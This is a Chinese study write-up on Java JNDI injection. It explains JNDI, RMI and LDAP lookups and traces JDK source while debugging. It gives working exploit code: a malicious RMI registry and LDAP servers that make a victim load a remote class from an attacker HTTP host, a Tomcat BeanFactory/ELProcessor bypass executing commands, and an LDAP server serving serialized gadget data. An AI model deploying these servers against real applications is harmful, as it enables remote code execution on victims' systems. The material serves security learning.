JNDI介绍
JNDI(Java Naming and Directory Interface)是一个应用程序设计的 API,一种标准的 Java 命名系统接口。JNDI 提供统一的客户端 API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录系统,使得 Java 应用程序可以和这些命名服务和目录服务之间进行交互。
简单来讲就是jndi是一个java用于访问命名目录服务如ldap,rmi等的一个接口,类似于jdbc,他只是提供了一个接口,然后不同服务针对其进行实现,使得我们能够通过jndi这个接口去连接ldap,rmi,dns等各种命名与服务有映射关系的服务
协议
作用
LDAP
轻量级目录访问协议,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容
RMI
JAVA 远程方法协议,该协议用于远程调用应用程序编程接口,使客户机上运行的程序可以调用远程服务器上的对象
DNS
域名服务
CORBA
公共对象请求代理体系结构
简单讲解下这几个服务:
DNS:就是系统将计算机电脑的名称和IP进行关联,通过指定域名就能解析出对应的ip
RMI:这个前面学习过,其实就是名称与远程对象进行关联,通过一个指定的字符串就能获取到对应的远程对象
LDAP:轻量级目录访问协议,是以前DAP的升级版,用来存储用户身份信息的服务,而LDAP是访问该服务的协议,他的结构是树状的,所以读性能比较好,但是写性能比较差,适用于大量读的场景,下面举个例子
LDAP的名称或者查询语句是这样的,以键值对的形式写出不同层级的条件,默认最右边是最高层级,也就是父节点,在c=US节点下寻找o=Sun,接着在其子节点寻找cn=John
CORBA:不会
这个图最好是看一下JNDI的包名结构就知道了
javax.naming:主要用于命名操作,包含了访问目录服务所需的类和接口,比如 Context、Bindings、References、lookup 等。
javax.naming.directory:主要用于目录操作,它定义了DirContext接口和InitialDir- Context类;
javax.naming.event:在命名目录服务器中请求事件通知;
javax.naming.ldap:提供LDAP支持;
javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务。
其中SPI就是Service Provider Interface ,即服务供应接口,简单来说就是JNDI定义的一个标准接口,然后各种目录服务按照这个接口标准来进行开发,从而实现在jndi服务上支持自己所开发的目录和名称协议
JNDI注入介绍 jndi注入指的就是我们能够控制jndi连接的url,比如说我们能控制jndi字符串去访问任意rmi服务上的指定对象,这个过程肯定是通过lookup去实现的,而lookup的对象又是我们可以控制的,这就导致我们可以通过起一个恶意的rmi服务来执行代码
JNDI核心类 InitialContext 初始化上下文,这个列就是用来创建一个初始化上下文context,这里的context指的时一个目录上下文,因为jndi是命名与目录访问,所以说一个context就代表一个目录,比如说文件目录context,就代表一个文件夹,然后你可以根据文件名查找到该文件名对应的文件内容,又比如rmi服务,一个url地址对应一个context,能够通过在url后面添加远程对象名就能够查找到对应的远程对象并调用,总的来说context就相当于一个目录,他的子目录也可以使一个context,父目录也可以是context,所以context的创建取决于你想在哪个目录下进行操作
1 2 3 4 5 6 7 8 9 10 11 12 13 package JNDI;import javax.naming.InitialContext;import javax.naming.NamingException;public class jndi1 { public static void main (String[] args) throws Exception { InitialContext ctx = new InitialContext (); ctx.lookup("ldap://192.168.19.201:8085/Exploit" ); } }
方法
1 2 3 4 5 6 7 8 9 10 bind(Name name, Object obj) list(String name) lookup(String name) rebind(String name, Object obj) unbind(String name)
Reference Reference类从字面意思理解就知道他是起到的引用的作用,类似于c语言里面的指针不存储具体的数据内容而是存储指向该数据内容的内存地址,然后你通过寻找该地址以获取对应的内容。在命名与目录服务中也存在这种指针也叫做引用,你可以通过创建一个资源对象如(RMI远程对象地址,URL对象)的引用来绑定到命名目录服务中,然后你通过lookup获取到某个资源的时候就只能获取到该资源的Reference对象,然后你再根据该ref对象查找具体的资源
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 Reference(String className) Reference(String className, RefAddr addr) Reference(String className, RefAddr addr, String factory, String factoryLocation) Reference(String className, String factory, String factoryLocation) void add (int posn, RefAddr addr) void add (RefAddr addr) void clear () RefAddr get (int posn) RefAddr get (String addrType) Enumeration<RefAddr> getAll () String getClassName () String getFactoryClassLocation () String getFactoryClassName () Object remove (int posn) int size () String toString ()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 package JNDI;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.Reference;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class jndi1 { public static void main (String[] args) throws Exception { String url = "http://127.0.0.1:8080" ; Registry registry = LocateRegistry.createRegistry(1099 ); Reference reference = new Reference ("test" , "test" , url); ReferenceWrapper referenceWrapper = new ReferenceWrapper (reference); registry.bind("aa" , referenceWrapper); } }
这里创建的Reference对象需要使用ReferenceWrapper装饰器包装一下
这是因为Reference默认是没继承UnicastRemoteObject的,所以需要使用ReferenceWrapper装饰成RMI能够使用的远程对象
JDNI_RMI原生注入 直接一笔带过,因为这种方式其实底层完全调用的rmi的接口,所以说rmi该怎么打,换成initialContext也是一样的,JNDI_RMI结合注入是因为使用了Reference类,然后通过Reference进行远程URL类加载
JDNI_RMI注入 复现 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 package JNDI;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.Reference;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class jndi1 { public static void main (String[] args) throws Exception { Registry registry = LocateRegistry.createRegistry(7778 ); Reference reference = new Reference ("evil" , "evil" , "http://192.168.126.128:8000/" ); ReferenceWrapper referenceWrapper = new ReferenceWrapper (reference); registry.bind("RCE" ,referenceWrapper); } }
1 2 3 4 5 6 7 8 9 10 11 12 package JNDI;import javax.naming.InitialContext;import javax.naming.NamingException;public class client { public static void main (String[] args) throws Exception { InitialContext context = new InitialContext (); context.lookup("rmi://127.0.0.1:7778/RCE" ); } }
1 2 3 4 5 6 7 8 9 10 11 12 import java.io.IOException;public class evil { static { try { Runtime.getRuntime().exec("calc" ); } catch (IOException e) { throw new RuntimeException (e); } } }
Reference注入其实通过以上这个例子就能理解了,所以为什么会有这个Reference引用,首先我们学过了RMI协议知道一个对象是通过序列化和反序列化远程传输的,但如果这个对象特别大的时候直接传输就不太合适,所以设计了个ref用来引用这个远程对象,每个Reference对象都是能够被命名管理器(Naming Manager)解码并解析为原始对象的引用,它由地址(RefAddress)的有序列表和所引用对象的信息组成,而每个地址包含了如何构造对应的对象的信息,包括引用对象的Java类名,以及用于创建对象的ObjectFactory类的名称和位置。
上面这个攻击例子的原理则是如果远程获取 RMI 服务器上的对象为 Reference 类或者其子类时,则可以从其他服务器上加载 class 字节码文件来实例化
调试
这里jndi的调用的lookup方法是调用的rmi原生lookup,也就是RegistryContext,这里我们跟进一下,首先调用了getURLOrDefaultInitCtx的lookup
这里根据客户端传入的URL地址找到Registry注册端context,然后调用其lookup方法
接着就是调用原生rmi查询到RCE对应的远程对象是一个Reference对象,接着就调用decodeObject方法进行解析
这里的lookup还不是rmi原生的,只有调用了this.registry.lookup的才是
这些都是RMI原生解析Reference的流程,我记得前面写的rmi文章里面没写过,这里就接着跟一下,这里就是如果远程对象为引用类型,则给他类型转化成RemoteReference,然后传入getObjectInstance方法,根据Reference对象获取对象实例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 public static Object getObjectInstance (Object refInfo, Name name, Context nameCtx, Hashtable<?,?> environment) throws Exception { ObjectFactory factory; ObjectFactoryBuilder builder = getObjectFactoryBuilder(); if (builder != null ) { factory = builder.createObjectFactory(refInfo, environment); return factory.getObjectInstance(refInfo, name, nameCtx, environment); } Reference ref = null ; if (refInfo instanceof Reference) { ref = (Reference) refInfo; } else if (refInfo instanceof Referenceable) { ref = ((Referenceable)(refInfo)).getReference(); } Object answer; if (ref != null ) { String f = ref.getFactoryClassName(); if (f != null ) { factory = getObjectFactoryFromReference(ref, f); if (factory != null ) { return factory.getObjectInstance(ref, name, nameCtx, environment); } return refInfo; } else { answer = processURLAddrs(ref, name, nameCtx, environment); if (answer != null ) { return answer; } } } answer = createObjectFromFactories(refInfo, name, nameCtx, environment); return (answer != null ) ? answer : refInfo; }
这里根据Reference对象获取工厂类
在getObjectFactoryFromReference
里调用helper.loadClass()加载evil类
然后发现没找到就判断codebase里面有没有值,有值就传到helper.loadClass()再进行一次loadClass
接着就创建一个URLClassLoader来去加载他
这次就成功加载了恶意类,这里实际上就是URL动态类加载
修复
切换成121以上的版本发现直接就爆以上错误了
接着我们跟下调试流程发现在decodeObject方法这里面在调用getObjectInstance之前多了一个判断
1 2 3 4 5 6 if (ref != null && ref.getFactoryClassLocation() != null && !trustURLCodebase) { throw new ConfigurationException ( "The object factory is untrusted. Set the system property" + " 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'." ); }
查看系统变量com.sun.jndi.rmi.object.trustURLCodebase是否为true,也就是默认不让你url远程加载
绕过 这里既然不能够远程类加载利用,那我们可以选择使用本地class类加载,比较本地classpath下的类加载不受限制
首先使getFactoryClassLocation也就是FactoryClassLocation参数为空
接着进入getObjectInstance方法内我们可以看到会通过FactoryClassName参数值调用getObjectFactoryFromReference获取到工厂类,让后调用该类的getObjectInstance方法,也就是说我们可以调用任意对象的getObjectInstance方法,可以类比反序列化寻找利用链进行绕过,但是要调用getObjectInstance的类需要实现javax.naming.spi.ObjectFactory接口
接着就找到了tomcat源码中的BeanFactory,这个工厂类是tomcat的jndi中用来创建bean对象的的工厂类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 public class BeanFactory implements ObjectFactory { @Override public Object getObjectInstance (Object obj, Name name, Context nameCtx, Hashtable<?,?> environment) throws NamingException { if (obj instanceof ResourceRef) { try { Reference ref = (Reference) obj; String beanClassName = ref.getClassName(); Class<?> beanClass = null ; ClassLoader tcl = Thread.currentThread().getContextClassLoader(); if (tcl != null ) { try { beanClass = tcl.loadClass(beanClassName); } catch (ClassNotFoundException e) { } } else { try { beanClass = Class.forName(beanClassName); } catch (ClassNotFoundException e) { e.printStackTrace(); } } if (beanClass == null ) { throw new NamingException ("Class not found: " + beanClassName); } BeanInfo bi = Introspector.getBeanInfo(beanClass); PropertyDescriptor[] pda = bi.getPropertyDescriptors(); Object bean = beanClass.newInstance(); RefAddr ra = ref.get("forceString" ); Map<String, Method> forced = new HashMap <>(); String value; if (ra != null ) { value = (String)ra.getContent(); Class<?> paramTypes[] = new Class [1 ]; paramTypes[0 ] = String.class; String setterName; int index; for (String param: value.split("," )) { param = param.trim(); index = param.indexOf('=' ); if (index >= 0 ) { setterName = param.substring(index + 1 ).trim(); param = param.substring(0 , index).trim(); } else { setterName = "set" + param.substring(0 , 1 ).toUpperCase(Locale.ENGLISH) + param.substring(1 ); } try { forced.put(param, beanClass.getMethod(setterName, paramTypes)); } catch (NoSuchMethodException|SecurityException ex) { throw new NamingException ("Forced String setter " + setterName + " not found for property " + param); } } } Enumeration<RefAddr> e = ref.getAll(); while (e.hasMoreElements()) { ra = e.nextElement(); String propName = ra.getType(); if (propName.equals(Constants.FACTORY) || propName.equals("scope" ) || propName.equals("auth" ) || propName.equals("forceString" ) || propName.equals("singleton" )) { continue ; } value = (String)ra.getContent(); Object[] valueArray = new Object [1 ]; Method method = forced.get(propName); if (method != null ) { valueArray[0 ] = value; try { method.invoke(bean, valueArray); } catch (IllegalAccessException| IllegalArgumentException| InvocationTargetException ex) { throw new NamingException ("Forced String setter " + method.getName() + " threw exception for property " + propName); } continue ; } int i = 0 ; for (i = 0 ; i<pda.length; i++) { if (pda[i].getName().equals(propName)) { Class<?> propType = pda[i].getPropertyType(); if (propType.equals(String.class)) { valueArray[0 ] = value; } else if (propType.equals(Character.class) || propType.equals(char .class)) { valueArray[0 ] = Character.valueOf(value.charAt(0 )); } else if (propType.equals(Byte.class) || propType.equals(byte .class)) { valueArray[0 ] = Byte.valueOf(value); } else if (propType.equals(Short.class) || propType.equals(short .class)) { valueArray[0 ] = Short.valueOf(value); } else if (propType.equals(Integer.class) || propType.equals(int .class)) { valueArray[0 ] = Integer.valueOf(value); } else if (propType.equals(Long.class) || propType.equals(long .class)) { valueArray[0 ] = Long.valueOf(value); } else if (propType.equals(Float.class) || propType.equals(float .class)) { valueArray[0 ] = Float.valueOf(value); } else if (propType.equals(Double.class) || propType.equals(double .class)) { valueArray[0 ] = Double.valueOf(value); } else if (propType.equals(Boolean.class) || propType.equals(boolean .class)) { valueArray[0 ] = Boolean.valueOf(value); } else { throw new NamingException ("String conversion for property " + propName + " of type '" + propType.getName() + "' not available" ); } Method setProp = pda[i].getWriteMethod(); if (setProp != null ) { setProp.invoke(bean, valueArray); } else { throw new NamingException ("Write not allowed for property: " + propName); } break ; } } if (i == pda.length) { throw new NamingException ("No set method found for property: " + propName); } } return bean; } catch (java.beans.IntrospectionException ie) { NamingException ne = new NamingException (ie.getMessage()); ne.setRootCause(ie); throw ne; } catch (java.lang.IllegalAccessException iae) { NamingException ne = new NamingException (iae.getMessage()); ne.setRootCause(iae); throw ne; } catch (java.lang.InstantiationException ie2) { NamingException ne = new NamingException (ie2.getMessage()); ne.setRootCause(ie2); throw ne; } catch (java.lang.reflect.InvocationTargetException ite) { Throwable cause = ite.getCause(); if (cause instanceof ThreadDeath) { throw (ThreadDeath) cause; } if (cause instanceof VirtualMachineError) { throw (VirtualMachineError) cause; } NamingException ne = new NamingException (ite.getMessage()); ne.setRootCause(ite); throw ne; } } else { return null ; } } }
接着我们跟一下这个函数代码看看能够证明利用
首先创建的Reference对象需要继承ResourceRef类
接着根据传入的ClassName属性加载获取对应的Class对象,然后调用Introspector.getBeanInfo方法获取对应beanClass的详细详细
然后创建对应的bean实例对象,并且这里看到这里是调用的newInstance方法使用无参构造器进行创建对象,所以这里就使用的ELProcessor或者也可以使用GroovyShell如果有的话
接着获取ref引用对象的forceString参数,然后根据,
将字符串内容分隔成不同的键值对数组形式,如果键值对中存在=
,那么就将等号前面的当做属性名后面则是属性值,如果不存在=
则就是无参数setter方法名
举个例子:
a=foo,bar ,以逗号分隔每个需要设置的属性,如果包含等号,则对应的 setter 方法为等号后的值 foo ,如果不包含等号,则 setter 方法为默认值 setBar 。 在后续调用时,调用 setter 方法使用单个参数,且参数值为对应属性对象 RefAddr 的值 ( getContent )。因此,实际上我们可以调用任意指定类的任意方法,并指定单个可控的参数。
比如说这里传入的是 <font style="color:rgb(92, 92, 92);">x=eval</font>
,那么运行完的forced map就如下
这里的value就为我们想要的方法,这里是直接通过getMethod获取到的
可以看到这里并不是只能获取setter方法,而是获取只有一个字符串参数的方法
接着遍历ref的refaddr(除开特殊type字段的addr)然后看通过forced map里面获取对应的方法执行方法,也就是说到这里我们就可以执行任意存在无参构造器对象的任意单字符串参数方法,然后配合el表达式对象或者groovyshell对象从而命令执行,下面给出exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 package JNDI;import com.sun.jndi.rmi.registry.ReferenceWrapper;import org.apache.naming.ResourceRef;import javax.naming.Reference;import javax.naming.StringRefAddr;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class jndi1 { public static void main (String[] args) throws Exception { Registry registry = LocateRegistry.createRegistry(7778 ); ResourceRef ref = new ResourceRef ("javax.el.ELProcessor" , null , "" , "" , true , "org.apache.naming.factory.BeanFactory" , null ); ref.add(new StringRefAddr ("forceString" , "x=eval" )); ref.add(new StringRefAddr ("x" , "Runtime.getRuntime().exec(\"calc\")" )); ReferenceWrapper referenceWrapper = new ReferenceWrapper (ref); registry.bind("RCE" ,referenceWrapper); } }
当然还有GroovyShell写法,对应evalute方法,没啥难度
要使用 javax.el.ELProcessor,所以需要 Tomcat 8+或SpringBoot 1.2.x+
要使用GroovyShell需要导入groovy-all依赖包
总之这个绕过方式需要tomcat8及以上依赖,总之思路就是找一个能够利用的factory工厂类
JNDI_LDAP注入 LDAP注入相当于RMI的一个绕过算是,因为RMI113的使用ban掉了远程加载,那么jndi_ldap知道191才ban掉,并且他们原理其实是一样的,都是利用Reference引用对象,不同的就是ldap使用的协议不同,并且ldap的Reference对象也不一样所以能不受rmi的trustURLCodebase限制
复现
直接上工具
https://github.com/X1r0z/JNDIMap
手动起一个ldap服务
引入ldap服务依赖包
1 2 3 4 5 <dependency> <groupId>com.unboundid</groupId> <artifactId>unboundid-ldapsdk</artifactId> <version>3.1 .1 </version> </dependency>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 package JNDI;import com.unboundid.ldap.listener.InMemoryDirectoryServer;import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;import com.unboundid.ldap.listener.InMemoryListenerConfig;import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;import com.unboundid.ldap.sdk.Entry;import com.unboundid.ldap.sdk.LDAPException;import com.unboundid.ldap.sdk.LDAPResult;import com.unboundid.ldap.sdk.ResultCode;import javax.net.ServerSocketFactory;import javax.net.SocketFactory;import javax.net.ssl.SSLSocketFactory;import java.net.InetAddress;import java.net.MalformedURLException;import java.net.URL;public class jndi_ldap { private static final String LDAP_BASE = "dc=example,dc=com" ; public static void main (String[] args) { String url = "http://192.168.126.128:8000/#evil" ; int port = 1234 ; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig (LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig ( "listen" , InetAddress.getByName("0.0.0.0" ), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor (new URL (url))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer (config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } catch (Exception e) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; public OperationInterceptor (URL cb) { this .codebase = cb; } @Override public void processSearchResult (InMemoryInterceptedSearchResult result) { String base = result.getRequest().getBaseDN(); Entry e = new Entry (base); try { sendResult(result, base, e); } catch (Exception e1) { e1.printStackTrace(); } } protected void sendResult (InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException { URL turl = new URL (this .codebase, this .codebase.getRef().replace('.' , '/' ).concat(".class" )); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName" , "Exploit" ); String cbstring = this .codebase.toString(); int refPos = cbstring.indexOf('#' ); if (refPos > 0 ) { cbstring = cbstring.substring(0 , refPos); } e.addAttribute("javaCodeBase" , cbstring); e.addAttribute("objectClass" , "javaNamingReference" ); e.addAttribute("javaFactory" , this .codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult (0 , ResultCode.SUCCESS)); } } }
这个ldap server的代码有点难看懂,所以选择跟一下jndi注入的流程,比较这里的注入的原理跟ldap关系不大
调试
一路跟进到c_lookup这里,如果返回的attr属性里面存在javaClassName键则调用decodeObject方法进行解析java对象
com.sun.jndi.ldap.Obj.java#decodeObject,该方法功能是解码从LDAP Server来的对象,该对象可能是序列化的对象,也可能是一个Reference对象。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 static Object decodeObject (Attributes var0) throws NamingException { String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4 ])); try { Attribute var1; if ((var1 = var0.get(JAVA_ATTRIBUTES[1 ])) != null ) { ClassLoader var3 = helper.getURLClassLoader(var2); return deserializeObject((byte [])((byte [])var1.get()), var3); } else if ((var1 = var0.get(JAVA_ATTRIBUTES[7 ])) != null ) { return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2 ]).get(), (String)var1.get(), var2); } else { var1 = var0.get(JAVA_ATTRIBUTES[0 ]); return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2 ]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2 ]) ? null : decodeReference(var0, var2); } } catch (IOException var5) { NamingException var4 = new NamingException (); var4.setRootCause(var5); throw var4; } }
接着跟进decodeReference方法,可以看到这里是直接创建了一个对象Reference对象,并且根据传入的attribute属性值
这里就对应着我们构造的ldap服务的sendResult方法,这个时候就比较好理解ldap_server的代码了
接着创建完Reference对象后就直接将该对象返回了
接着继续往c_lookup下面执行,最后调用了DirectoryManager.getObjectInstance
这里是不是很熟悉,就是jndi_rmi最后远程加载类的地方
这里面加载的逻辑也是一样的,先本地加载,不行就远程加载,可以发现ldap利用整个过程没有涉及到trustURLCode限制,直接就进入DirectoryManager.getObjectInstance了,jndi_rmi的修复就是在调用DirectoryManager.getObjectInstance之前进行了一次判断,而这里没有,所以不受限制
修复
直接就在loadClass进行判断了,需要开启com.sun.jndi.ldap.object.trustURLCodebase才能够远程加载
绕过 反序列化触发点1 绕过可以使用jndi_rmi的绕过方式,使用本地Reference引用工厂类,beanFactory,其实这个算是jndi通用的绕过方式,但是他有个缺点就是需要依赖,tomcat8或者Groovy等
这里jndi_ldap其实有个比较特殊的绕过点就是直接反序列化,前面我们在com.sun.jndi.ldap.Obj.java#decodeObject其实可以看到不仅有decodeReference还有deserializeObject,也就是如果存在序列化属性字段的话就会触发反序列化操作
进去发现就直接readObject了,通过这里我们就能够通过反序列化打链子绕过,这里给出对应的ldap_server代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 package JNDI;import com.unboundid.ldap.listener.InMemoryDirectoryServer;import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;import com.unboundid.ldap.listener.InMemoryListenerConfig;import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;import com.unboundid.ldap.sdk.Entry;import com.unboundid.ldap.sdk.LDAPResult;import com.unboundid.ldap.sdk.ResultCode;import sun.misc.BASE64Encoder;import javax.net.ServerSocketFactory;import javax.net.SocketFactory;import javax.net.ssl.SSLSocketFactory;import java.io.ByteArrayInputStream;import java.io.FileInputStream;import java.net.InetAddress;import java.net.URL;import java.nio.file.Files;import java.nio.file.Paths;public class jndi_ldap_bypass { private static final String LDAP_BASE = "dc=example,dc=com" ; public static void main (String[] argsx) { String[] args = new String []{"http://192.168.126.128:8000/#evil" , "1234" }; int port = 0 ; if (args.length < 1 || args[0 ].indexOf('#' ) < 0 ) { System.err.println(jndi_ldap_bypass.class.getSimpleName() + " <codebase_url#classname> [<port>]" ); System.exit(-1 ); } else if (args.length > 1 ) { port = Integer.parseInt(args[1 ]); } try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig (LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig ( "listen" , InetAddress.getByName("0.0.0.0" ), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor (new URL (args[0 ]))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer (config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } catch (Exception e) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; public OperationInterceptor (URL cb) { this .codebase = cb; } @Override public void processSearchResult (InMemoryInterceptedSearchResult result) { String base = result.getRequest().getBaseDN(); Entry e = new Entry (base); try { sendResult(result, base, e); } catch (Exception e1) { e1.printStackTrace(); } } protected void sendResult (InMemoryInterceptedSearchResult result, String base, Entry e) throws Exception { byte [] bytes = Files.readAllBytes(Paths.get("ser.bin" )); e.addAttribute("javaClassName" , "foo" ); e.addAttribute("javaReferenceAddress" ,"$1$String$$" +new BASE64Encoder ().encode(bytes)); e.addAttribute("objectClass" , "javaNamingReference" ); result.sendSearchEntry(e); result.setResult(new LDAPResult (0 , ResultCode.SUCCESS)); } } }
这里就只修改了sendResult方法,添加了javaSerializedData字段
反序列化触发点2
第二地方就在decodeReference这里
这里如果attribute里面有javaReferenceAddress的话就会对javaReferenceAddress进行还原逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 if ((attr = attrs.get(JAVA_ATTRIBUTES[REF_ADDR])) != null ) { String val, posnStr, type; char separator; int start, sep, posn; BASE64Decoder decoder = null ; ClassLoader cl = helper.getURLClassLoader(codebases); Vector<RefAddr> refAddrList = new Vector <>(); refAddrList.setSize(attr.size()); for (NamingEnumeration<?> vals = attr.getAll(); vals.hasMore(); ) { val = (String)vals.next(); if (val.length() == 0 ) { throw new InvalidAttributeValueException ( "malformed " + JAVA_ATTRIBUTES[REF_ADDR] + " attribute - " + "empty attribute value" ); } separator = val.charAt(0 ); start = 1 ; if ((sep = val.indexOf(separator, start)) < 0 ) { throw new InvalidAttributeValueException ( "malformed " + JAVA_ATTRIBUTES[REF_ADDR] + " attribute - " + "separator '" + separator + "'" + "not found" ); } if ((posnStr = val.substring(start, sep)) == null ) { throw new InvalidAttributeValueException ( "malformed " + JAVA_ATTRIBUTES[REF_ADDR] + " attribute - " + "empty RefAddr position" ); } try { posn = Integer.parseInt(posnStr); } catch (NumberFormatException nfe) { throw new InvalidAttributeValueException ( "malformed " + JAVA_ATTRIBUTES[REF_ADDR] + " attribute - " + "RefAddr position not an integer" ); } start = sep + 1 ; if ((sep = val.indexOf(separator, start)) < 0 ) { throw new InvalidAttributeValueException ( "malformed " + JAVA_ATTRIBUTES[REF_ADDR] + " attribute - " + "RefAddr type not found" ); } if ((type = val.substring(start, sep)) == null ) { throw new InvalidAttributeValueException ( "malformed " + JAVA_ATTRIBUTES[REF_ADDR] + " attribute - " + "empty RefAddr type" ); } start = sep + 1 ; if (start == val.length()) { refAddrList.setElementAt(new StringRefAddr (type, null ), posn); } else if (val.charAt(start) == separator) { ++start; if (decoder == null ) decoder = new BASE64Decoder (); RefAddr ra = (RefAddr) deserializeObject( decoder.decodeBuffer(val.substring(start)), cl); refAddrList.setElementAt(ra, posn); } else { refAddrList.setElementAt(new StringRefAddr (type, val.substring(start)), posn); } } for (int i = 0 ; i < refAddrList.size(); i++) { ref.add(refAddrList.elementAt(i)); } }
最终在这里通过反序列化还原的RefAddr对象,这里需要满足一堆条件
1.第一个字符为分隔符 2.第一个分隔符与第二个分隔符之间,表示 Reference 的 position ,为 int 类型 3.第二个分隔符与第三个分隔符之间,表示 type ,类型 4.第三个分隔符是双分隔符的形式,则进入反序列化的操作 5.序列化数据用 base64 编码
所以这里使用$1$String$$
开头,后面跟着base64序列化数据,具体可以看里面RefAddr对象还原的代码逻辑,我是不想看,payload也触发点里面的exp里面写了
总结 RMI原生 :JDK 5U45、6U45、7u21、8u121
开始 java.rmi.server.useCodebaseOnly 默认配置为true
JNDI_RMI :JDK 6u132、7u122、8u113
开始 com.sun.jndi.rmi.object.trustURLCodebase 默认值为false
JNDI_LDAP :JDK 11.0.1、8u191、7u201、6u211
开始 com.sun.jndi.ldap.object.trustURLCodebase 默认为false
参考链接 https://drun1baby.top/2022/07/28/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BJNDI%E5%AD%A6%E4%B9%A0/
https://xz.aliyun.com/t/12778
https://goodapple.top/archives/696
https://xz.aliyun.com/t/12277
https://tttang.com/archive/1611 (最好)
https://xz.aliyun.com/t/8214
https://tttang.com/archive/1405
https://tttang.com/archive/1489
https://goodapple.top/archives/696
https://github.com/X1r0z/JNDIMap